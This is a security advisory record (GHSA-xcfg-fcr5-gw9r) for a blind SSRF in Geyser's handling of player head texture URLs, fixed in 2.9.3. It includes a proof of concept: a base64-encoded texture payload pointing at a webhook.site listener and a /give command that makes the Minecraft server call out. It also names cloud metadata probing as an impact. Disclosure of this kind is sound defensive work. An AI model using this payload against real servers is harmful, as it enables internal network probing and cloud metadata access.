Vulnerabilities in pkg:maven/org.geysermc.geyser/core

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xcfg-fcr5-gw9r",
  "modified" : "2026-05-13T14:19:57Z",
  "published" : "2026-05-05T20:03:16Z",
  "aliases" : [ "CVE-2026-42188" ],
  "summary" : "Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser",
  "details" : "### Summary\nA server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data.\nBy supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints.\nThis occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.\n\n### Details\nGeyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.\n\nWhen a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution.\nHowever, the URL contained in the textures.SKIN.url field is not sufficiently validated.\n### PoC\n\n1. **Setup Environment:**\n   - Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.\n   - Ensure you have a Bedrock client connected.\n\n2. **Prepare Listener:**\n   - Go to [webhook.site](https://webhook.site) and obtain a unique URL (e.g., `https://webhook.site/YOUR-UUID`).\n\n3. **Construct Payload:**\n   - Create a JSON payload pointing to your listener URL:\n     `{\"textures\":{\"SKIN\":{\"url\":\"https://webhook.site/YOUR-UUID\"}}}`\n   - Encode this JSON string to Base64.\n     *(You can use a terminal command: `echo -n '{\"textures\":{\"SKIN\":{\"url\":\"...\"}}}' | base64`)*\n\n4. **Execute Command:**\n   - Run the following command in the Bedrock Edition client:\n   `/give @p minecraft:player_head[minecraft:profile={properties:[{name:\"textures\",value:\"[PASTE_BASE64_HERE]\"}]}]`\n\n5. **Verify:**\n   - Check the webhook.site dashboard.\n   - You will see an **HTTP GET request originating from the Minecraft Server's IP address**, not the client's IP.\n\n### Impact\nThis vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.\n\n#### Affected Parties\n- Minecraft servers running Geyser\n- Server operators exposing internal or cloud metadata endpoints\n\n#### Potential Impacts\n- Internal network probing (e.g., intranet services, admin panels)\n- Cloud metadata access attempts (e.g., 169.254.169.254)\n- IP address disclosure of the Minecraft server\n- Abuse of the server as an HTTP request proxy\n\nAlthough the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:\n- Network mapping\n- Firewall bypass attempts\n- Cloud environment fingerprinting",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.geysermc.geyser:core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.9.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.9.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/GeyserMC/Geyser/security/advisories/GHSA-xcfg-fcr5-gw9r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42188"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/GeyserMC/Geyser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T20:03:16Z",
    "nvd_published_at" : "2026-05-11T22:22:11Z"
  }
}